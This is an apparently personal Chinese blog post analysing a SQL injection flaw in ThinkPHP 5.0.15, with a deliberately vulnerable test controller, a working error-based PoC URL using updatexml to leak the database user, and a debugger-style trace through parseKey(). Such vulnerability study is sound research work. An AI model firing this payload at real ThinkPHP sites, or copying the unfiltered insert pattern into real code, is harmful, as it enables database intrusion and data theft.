logo头像

黑客的本质就是白嫖

thinkphp 5.0.15 SQL注入漏洞学习

前言

各种漏洞复现学习

环境搭建

  • thinkphp 5.0.15
  • php 5.6.27

本地自己新建一个表,并修改application/database.php中的数据库配置,再将application/config.php中的app_debugapp_trace设置为true打开调试和trace,最后在application/index/controller/Index.php中添加一个测试方法

1
2
3
4
5
public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}

漏洞分析

首先给出POC

1
http://localhost/tp5015/public/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

tp5015_sql_1

漏洞的pop链不算长,漏洞的产生基本上是thinkphp/library/think/db/builder/Mysql.php中的parseKey()方法没有对参数进行有效的过滤造成的,下面一步一步跟进调试

首先进入我们写的插入语句处

tp5015_sql_2

这里可以看到我们传入的username数组,其中第二位是注入语句,第一位的作用待会会讲到,第三则是正常查询时使用的数据

接着跟进

tp5015_sql_3

直接到thinkphp/library/think/db/Query.phpinsert()方法中,跟进图中的2085行代码

到了thinkphp/library/think/db/Builder.php中的insert()方法

tp5015_sql_4

继续进入$this->parseData()方法

tp5015_sql_5

可以看到这里有一个switch语句,用做判断的就是我们传入的数组变量,而数组第一个值就是刚才提到的inc,跟进这里的parseKey()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected function parseKey($key, $options = [])
{
$key = trim($key);
if (strpos($key, '$.') && false === strpos($key, '(')) {
// JSON字段支持
list($field, $name) = explode('$.', $key);
$key = 'json_extract(' . $field . ', \'$.' . $name . '\')';
} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
list($table, $key) = explode('.', $key, 2);
if ('__TABLE__' == $table) {
$table = $this->query->getTable();
}
if (isset($options['alias'][$table])) {
$table = $options['alias'][$table];
}
}
if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
$key = '`' . $key . '`';
}
if (isset($table)) {
if (strpos($table, '.')) {
$table = str_replace('.', '`.`', $table);
}
$key = '`' . $table . '`.' . $key;
}
return $key;
}

这里实际上是对传入变量进行了一个过滤和拼接,但是过滤后我们的注入语句依然没有啥变化

tp5015_sql_6

最后返回到thinkphp/library/think/db/Builder.php中的sql语句如图所示,注入成功

References

ThinkPHP框架 5.0.x sql注入漏洞分析

评论系统未开启,无法评论!